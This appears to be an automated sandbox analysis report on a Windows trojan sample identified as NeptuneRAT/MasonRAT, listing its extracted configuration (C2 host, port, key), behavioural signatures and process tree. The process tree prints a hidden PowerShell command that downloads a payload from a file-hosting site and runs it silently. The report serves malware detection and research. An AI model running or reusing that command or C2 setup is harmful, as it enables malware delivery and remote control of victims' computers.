Analysis
- max time kernel
149s - max time network
152s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260513-en - resource tags
- submitted
04/08/2026, 14:23
General
- Target xx.exe
- Size 49KB
- Sample260804-rqblqayzhy
- SHA256 73e8a375167f4656a0a814c1cbaed2cfaf02cc9f9667972c1b94308cc46c2c5e
Malware Config
Extracted
-
neptunerat
-
viperalza7fgg-40476.portmap.host:40476
-
filename
USB.exe
-
group
MasonGroup
-
key
DcZUTLnUquKxzICQ
-
rat_name
MasonRAT
Signatures
- Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
- Detects NeptuneRAT stealer 1 IoCs
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\xx.exe"C:\Users\Admin\AppData\Local\Temp\xx.exe"1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/8ruqew.rar' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_4gqefetz.m20.ps1
memory/1248-2-0x000001CEC04A0000-0x000001CEC04B0000-memory.dmp
memory/1248-1-0x000001CEC04A0000-0x000001CEC04B0000-memory.dmp
memory/1248-5-0x000001CEC2690000-0x000001CEC26B2000-memory.dmp
memory/1248-11-0x000001CEC04A0000-0x000001CEC04B0000-memory.dmp
memory/1248-13-0x000001CEC04A0000-0x000001CEC04B0000-memory.dmp
memory/1248-12-0x000001CEC04A0000-0x000001CEC04B0000-memory.dmp
memory/1248-14-0x000001CEC04A0000-0x000001CEC04B0000-memory.dmp
memory/1496-0-0x0000000000DD0000-0x0000000000DE2000-memory.dmp
memory/1496-17-0x000000001BA30000-0x000000001BA40000-memory.dmp